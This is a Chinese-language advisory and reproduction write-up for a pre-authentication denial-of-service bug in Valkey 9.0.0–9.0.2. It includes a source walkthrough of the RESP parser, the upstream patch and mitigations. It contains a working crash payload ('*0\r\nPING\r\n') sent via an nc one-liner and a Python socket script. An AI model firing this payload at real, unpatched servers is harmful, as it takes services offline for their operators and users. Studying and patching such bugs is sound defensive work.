CVE-2026-27623 — Pre-Authentication DOS from malformed RESP request #
Valkey 预认证拒绝服务 | RESP 协议状态机 | CVSS 3.1: 7.5 HIGH | CWE-20 | 无需认证 | 复现步骤
Valkey(Redis 系开源分支)在处理畸形 RESP 请求时,未在「空 multibulk」路径上重置
reqtype。攻击者只要建立一条 TCP 连接并 pipeline 发送*0\r\nPING\r\n,即可让networking.c中断言失败,整个valkey-server进程退出。无需事先登录或复杂握手。
漏洞速览 #
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2026-27623 |
| 漏洞代号 | Pre-Authentication DOS from malformed RESP request |
| 漏洞类型 | 远程拒绝服务(断言失败导致进程 abort);认证前即可触发 |
| CVSS 3.1 | 7.5 HIGH(GitHub Advisory:AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| CWE | CWE-20(不当输入校验) |
| 影响组件 | valkey-server;解析逻辑集中于 src/networking.c(processInputBuffer / parseMultibulk / handleParseResults 等) |
| 发现方 | NVIDIA Networking Security(Daniel Bransky、Eliya Cohen;见官方 GHSA Credits) |
| 披露与修复 | GitHub Security Advisory GHSA-93p9-5vc7-8wgr(2026-02-23);补丁提交 2c311dd7173 |
| 利用条件 | 能访问目标 Valkey 监听端口;单次发送字节序列 *0\r\nPING\r\n(同一 TCP 缓冲区内 pipeline) |
受影响范围 #
Valkey 版本 #
官方公告写明(以 GHSA 文本为准;页面中 => 按 ≥ 理解):
受影响:Valkey ≥ 9.0.0 且 ≤ 9.0.2
已修复:9.0.3 及以上
本目录 PoC 与源码走读默认基于 9.0.2 标签。若需对照修复后行为,可切换到 9.0.3 或已包含 2c311dd 的分支。
其它说明 #
| 项目 | 说明 |
|---|---|
| Redis 主线 | 本 CVE 与 PoC 针对 Valkey;其它派生若合并相同解析逻辑,以其各自安全公告为准。 |
| 暴露面 | 与常规内存数据库部署相同:对不可信网络暴露的未打补丁实例可被单包 DoS。实验环境建议使用非常用端口并避免公网监听。 |
根因分析 #
首先你需要了解Redis使用的RESP协议。
从系统和网络设计的角度来看,RESP 是一个非常经典的协议案例。它既具备类似 HTTP 的人类可读性,又拥有接近二进制协议的高解析效率。它的核心设计哲学是:基于前缀字节来区分数据类型,并严格使用
\r\n(CRLF) 作为数据帧的边界。比如:
*2\r\n # 发送一个长度为2的数组 $3\r\n # 这是第一个元素,长度为3 就是foo字符串的长度。 foo\r\n $3\r\n # 这是第二个元素,长度也为3。 bar\r\n
我们注入的原始字节(ASCII 视图,无空格):
*0\r\nPING\r\n
*0\r\n:RESP2 的 Array header,元素个数为 0(没有$…参数行)。对服务器来说,这是一条「multibulk 个数为 0」的请求头。PING\r\n:这是 RESP/Telnet 风格的 inline 命令(整行即命令,不以*开头)。
漏洞的本质是:第一段按「multibulk 已结束」特殊处理掉之后,客户端状态仍被当成「下一段还是 multibulk」(这里就是状态机的漏洞所在),于是第二段以 P 开头时,解析器仍按「新数组必须以 * 开头」去断言,直接crash。
1.入口:读进 querybuf 并进入处理循环
#
这里具体需要查看valkey 9.0.2 源码的
networking.c部分,我们仅分析部分重要代码块。
nc连上后,内核把整段*0\r\nPING\r\n交给read(2)。readQueryFromClient里readToQueryBuf把数据追加到c->querybuf,handleReadResult成功后调用processInputBuffer(见readQueryFromClient附近对processInputBuffer的调用)。
void readQueryFromClient(connection *conn) {
client *c = connGetPrivateData(conn);
/* Check if we can send the client to be handled by the IO-thread */
// 这里是否启用了IO线程都没有影响
if (postponeClientRead(c)) return;
if (c->io_write_state != CLIENT_IDLE || c->io_read_state != CLIENT_IDLE) return;
bool repeat = false;
int iter = 0;
do {
bool full_read = readToQueryBuf(c);
if (handleReadResult(c) == C_OK) {
// 就是处理输入的缓冲区
if (processInputBuffer(c) == C_ERR) return;
......
主循环在 processInputBuffer:清 read_flags、必要时 parseInputBuffer、再 handleParseResults。
int processInputBuffer(client *c) {
/* Parse the query buffer and/or execute already parsed commands. */
while ((c->querybuf && c->qb_pos < sdslen(c->querybuf)) ||
c->cmd_queue.off < c->cmd_queue.len) {
if (!canParseCommand(c)) {
break;
}
c->read_flags = isReplicatedClient(c) ? READ_FLAGS_REPLICATED : 0;
c->read_flags |= authRequired(c) ? READ_FLAGS_AUTH_REQUIRED : 0;
/* If commands are queued up, pop from the queue first */
if (!consumeCommandQueue(c)) {
// 这里进行输入缓冲区的解析
parseInputBuffer(c);
prepareCommandQueue(c);
}
/* Prefetch keys for the next commands in queue, if not already done. */
prefetchCommandQueueKeys(c);
if (handleParseResults(c) != PARSE_OK) {
break;
}
要点:一次 read 里可以带多条「逻辑请求」;第一段不产生可执行命令(argc == 0)时,循环会 continue,同一 buffer、同一连接上立刻再解析后面剩余字节。
2.第一次解析:认出 multibulk,并消费 *0\r\n
#
2.1 选择「下一条是 multibulk 还是 inline」 #
parseInputBuffer 里:只有 c->reqtype == 0 时才看首字节决定协议类型:
void parseInputBuffer(client *c) {
/* The command queue must be emptied before parsing. */
serverAssert(c->cmd_queue.len == 0);
/* Determine request type when unknown. */
if (!c->reqtype) {
if (c->querybuf[c->qb_pos] == '*') {
c->reqtype = PROTO_REQ_MULTIBULK;
} else {
c->reqtype = PROTO_REQ_INLINE;
}
}
if (c->reqtype == PROTO_REQ_INLINE) {
parseInlineBuffer(c);
} else if (c->reqtype == PROTO_REQ_MULTIBULK) {
parseMultibulkBuffer(c);
} else {
serverPanic("Unknown request type");
}
}
新连接上 reqtype == 0,qb_pos == 0,首字节是 *,于是 c->reqtype 被设为 PROTO_REQ_MULTIBULK,进入 parseMultibulkBuffer → parseMultibulk。
2.2 解析 *0\r\n:把读指针挪到 P,并打上「零/负 multibulk」标志
#
那么接下来我们走进 parseMultibulkBuffer → parseMultibulk来进一步分析:
在 parseMultibulk 里,当 c->multibulklen == 0 时,表示「要开始读新的 *<n>\r\n 行」:
- 用
memchr找\r,确认有完整一行。 - 断言当前位置必须是
*(正常 RESP 数组总是如此,见下方代码最后的断言). - 解析出
ll == 0,把qb_pos移到该行 CRLF 之后(即指向P),然后 直接返回READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN.
static int parseMultibulk(client *c,
int *argc,
robj ***argv,
int *argv_len,
size_t *argv_len_sum,
unsigned long long *net_input_bytes_curr_cmd) {
char *newline = NULL;
int ok;
long long ll;
int is_replicated = c->read_flags & READ_FLAGS_REPLICATED;
int auth_required = c->read_flags & READ_FLAGS_AUTH_REQUIRED;
// 这条 multibulk 头表示 0 个参数,本条逻辑命令结束
if (c->multibulklen == 0) {
/* The client (argc) should have been reset */
serverAssertWithInfo(c, NULL, *argc == 0);
/* Multi bulk length cannot be read without a \r\n */
newline = memchr(c->querybuf + c->qb_pos, '\r', sdslen(c->querybuf) - c->qb_pos);
if (newline == NULL) {
if (sdslen(c->querybuf) - c->qb_pos > PROTO_INLINE_MAX_SIZE) {
return READ_FLAGS_ERROR_BIG_MULTIBULK;
}
return 0;
}
/* Buffer should also contain \n */
if (newline - (c->querybuf + c->qb_pos) > (ssize_t)(sdslen(c->querybuf) - c->qb_pos - 2)) return 0;
/* We know for sure there is a whole line since newline != NULL,
* so go ahead and find out the multi bulk length. */
serverAssertWithInfo(c, NULL, c->querybuf[c->qb_pos] == '*');
......
c->qb_pos = (newline - c->querybuf) + 2;
if (ll <= 0) {
return READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN;
}
......
parseMultibulkBuffer 把返回值 |= 进 c->read_flags,然后返回:
void parseMultibulkBuffer(client *c) {
int flag = parseMultibulk(c, &c->argc, &c->argv, &c->argv_len,
&c->argv_len_sum, &c->net_input_bytes_curr_cmd);
c->read_flags |= flag;
......
3. handleParseResults:认为「本条已处理完」,但忘了清 reqtype
#
handleParseResults 看到 READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN,走「multibulk 可能见到 <=0 长度」分支:只 resetClient,然后 PARSE_OK:
/* This function is called after the query-buffer was parsed.
* It is used to handle parsing errors and to update the client state.
* The function returns C_OK if a command can be executed, otherwise C_ERR. */
parseResult handleParseResults(client *c) {
......
if (c->read_flags & READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN) {
/* Multibulk processing could see a <= 0 length. */
resetClient(c);
return PARSE_OK;
}
......
}
那么关键在这里,resetClient 主要清理 argv / 一些命令相关标志,不会把c->reqtype 置回 0。
于是在 CVE 存在版本(9.0.0–9.0.2) 里,第一次解析结束后仍满足:
c->reqtype == PROTO_REQ_MULTIBULK(第一次进parseInputBuffer时设的)c->qb_pos已指向PING\r\n的P,缓冲区里还有未消费数据。
4. processInputBuffer 第二轮:argc == 0 时继续循环
#
第一次解析没有形成可执行命令(argc == 0),processInputBuffer 在后面的分支里会 continue,只要 qb_pos < sdslen(querybuf) 就会再跑一轮 parseInputBuffer。
int processInputBuffer(client *c) {
/* Parse the query buffer and/or execute already parsed commands. */
while ((c->querybuf && c->qb_pos < sdslen(c->querybuf)) ||
c->cmd_queue.off < c->cmd_queue.len) {
......
}
5. 第二次解析:仍按 multibulk,首字节却是 P → 断言触发
#
第二轮调用 parseInputBuffer 时,在 未修复 情况下 c->reqtype 仍为 PROTO_REQ_MULTIBULK,于是 不会执行 if (!c->reqtype) { ... } 这段「根据 * / 非 * 重选协议」的逻辑,再次进入 parseMultibulk → 又因 multibulklen == 0,代码认为「要开始读下一条 *<n>\r\n 行」,再次执行:
serverAssertWithInfo(c, NULL, c->querybuf[c->qb_pos] == '*');
此时,我们便迎来了这个断言错误。
此时 c->querybuf[c->qb_pos] == 'P'(PING 的首字母),不等于 *,serverAssertWithInfo 失败,进程按 assert 配置 abort —— 这就是你用 *0\r\n pipeline 接上 PING\r\n(inline) 时触发的典型路径。
6.简单总结整个触发流程 #
| 步骤 | 缓冲区语义 | 关键状态 |
|---|---|---|
| 读入 | *0\r\nPING\r\n 全在 querybuf |
reqtype=0 |
第一次 parseInputBuffer |
见 *,走 multibulk |
reqtype=MULTIBULK |
parseMultibulk |
消费 *0\r\n,qb_pos→P |
返回 READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN |
handleParseResults |
resetClient,旧版不清 reqtype |
reqtype 仍为 MULTIBULK |
第二次 parseInputBuffer |
跳过类型检测 | 仍走 parseMultibulkBuffer |
parseMultibulk |
以为新行应以 * 开头 |
qb_pos 处是 P → 3528 行断言失败 |
利用机制 #
攻击面与前置条件 #
- 网络可达:攻击者与
valkey-server建立 TCP 连接即可(PoC 为明文端口;若前有 TLS 终止,则攻击面在能改写发往 Valkey 的字节流处)。 - 无需认证:崩溃发生在协议解析阶段,早于命令执行与 ACL 判定。
- 低交互:单连接、短载荷;利用「一次
read内多段解析」与错误保留的reqtype组合触发断言。
载荷语义 #
| 片段 | 协议角色 |
|---|---|
*0\r\n |
RESP2 数组头,元素个数为 0;解析后不形成可执行命令(argc == 0) |
PING\r\n |
以 inline 风格解析的命令行(整行即命令,不以 * 开头) |
第一段按 multibulk 的「零长度」路径返回后,旧版未将 c->reqtype 置回 0,第二段本应按 inline 重新判别,却仍走 multibulk,最终在 parseMultibulk 中对「新数组行必须以 * 开头」的断言上崩溃。状态机细节见上文 根因分析。
与本仓库 PoC 的对应关系 #
| 文件 | 说明 |
|---|---|
exploit/exp.py |
使用 socket 向默认 127.0.0.1:16379 发送 *0\r\nPING\r\n,与下文 复现步骤 中 Python 片段等价。 |
复现步骤 #
1. 准备环境 #
- 单独目录或容器(避免误伤本机其它 Redis/Valkey)。
- 检出受影响标签并干净编译(从别的分支切过来时强烈建议先清构建产物,避免缺头文件之类错误):
git fetch --tags
git checkout 9.0.2 # 在本次受影响的范围之内
make distclean && make -j"$(nproc)"
- 用非常用端口起实例,并关保护(仅实验环境):
./src/valkey-server --port 16379 --protected-mode no
另开一个终端做发包;或用 --daemonize yes + pidfile 自行管理。
2. 主复现:一条 TCP 里 pipeline 两段 #
要发送的原始字节序列(十六进制):
2a 30 0d 0a 50 49 4e 47 0d 0a
即 ASCII:*0\r\nPING\r\n(中间不要多余空格)。
2.1 用 nc
#
printf '*0\r\nPING\r\n' | nc -w 2 127.0.0.1 16379
在 9.0.2 上的典型现象:
valkey-server 进程 直接退出(或日志里出现 assert);nc 可能读不到正常 +PONG,连接被对端关掉。
会触发对应的断言错误:
=== VALKEY BUG REPORT START: Cut & paste starting from here ===
190361:M 22 May 2026 16:06:10.113 # === ASSERTION FAILED CLIENT CONTEXT ===
190361:M 22 May 2026 16:06:10.113 # client->flags = 108086391056891904
190361:M 22 May 2026 16:06:10.113 # client->conn = fd=10
190361:M 22 May 2026 16:06:10.113 # client->argc = 0
190361:M 22 May 2026 16:06:10.113 # === RECURSIVE ASSERTION FAILED ===
190361:M 22 May 2026 16:06:10.113 # ==> networking.c:3528 'c->querybuf[c->qb_pos] == '*'' is not true
在 9.0.3+(或含修复的 unstable)上的典型现象:
进程不崩;你可能先看到对 *0 一节的处理结果(若有输出),随后对 PING 有 +PONG 或 RESP3 等价响应(具体格式取决于是否已 HELLO)。
2.2 用本仓库脚本(exploit/exp.py)
#
在克隆后的本漏洞目录下执行(默认连接 127.0.0.1:16379,与上文 --port 一致;若目标为其它主机或端口,请编辑脚本内 host / port):
cd "CVE-2026-27623 Pre-Authentication DOS from malformed RESP request"
python3 exploit/exp.py
在受影响版本上,常见输出为 recv: b'' 或 connection reset(服务端已 abort);与 2.1 节现象一致。
2.3 内联 Python(与 exp.py 等价)
#
import socket
host, port = "127.0.0.1", 16379
payload = b"*0\r\nPING\r\n"
with socket.create_connection((host, port)) as s:
s.sendall(payload)
try:
print("recv:", s.recv(4096))
except ConnectionResetError as e:
print("connection reset (common if server aborted):", e)
修复方案 #
上游修复(推荐) #
根因是 READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN 等路径在 resetClient 后未将 reqtype 清零,导致同缓冲区内后续 inline 数据仍按 multibulk 解析。上游在 handleParseResults 相关分支中补充 c->reqtype = 0,并增加回归测试(见 tests/unit/protocol.tcl)。
- 补丁提交:valkey-io/valkey@
2c311dd7173(2026-02-23) - 发行版:升级到 Valkey ≥ 9.0.3(或各发行版已 backport 该补丁的软件包)。
关键 diff(摘录) #
@@ -3096,12 +3096,14 @@ parseResult handleParseResults(client *c) {
/* in case the client's query was an empty line we will ignore it and proceed to process the rest of the buffer
* if any */
resetClient(c);
c->reqtype = 0;
return PARSE_OK;
}
if (c->read_flags & READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN) {
/* Multibulk processing could see a <= 0 length. */
resetClient(c);
c->reqtype = 0;
return PARSE_OK;
}
临时缓解 #
在无法立即升级时,通过 网络隔离(防火墙、Kubernetes NetworkPolicy、云安全组等)将 Valkey 监听端口限制在可信网段;公告亦建议仅向可信用户开放访问。上述手段可降低被利用概率,不能替代版本升级。
时间线 #
| 日期 | 事件 |
|---|---|
| 2026-02-23 | 上游提交修复 2c311dd7173(handleParseResults 中重置 reqtype;tests/unit/protocol.tcl 增加回归用例) |
| 2026-02-23 | GitHub 发布 Security Advisory GHSA-93p9-5vc7-8wgr |
CVE 在 MITRE / NVD 中的登记日期与评分向量以后续官方同步为准。
参考资料 #
| 来源 | 链接 |
|---|---|
| GitHub Security Advisory | https://github.com/valkey-io/valkey/security/advisories/GHSA-93p9-5vc7-8wgr |
| 上游修复提交 | https://github.com/valkey-io/valkey/commit/2c311dd7173ffc715a3d61266fdede6096a097de |
| Valkey 仓库 | https://github.com/valkey-io/valkey |
- 报告方:NVIDIA Networking Security(Daniel Bransky、Eliya Cohen;见 GHSA Credits)
- 本文档链接核对日期:2026-05-22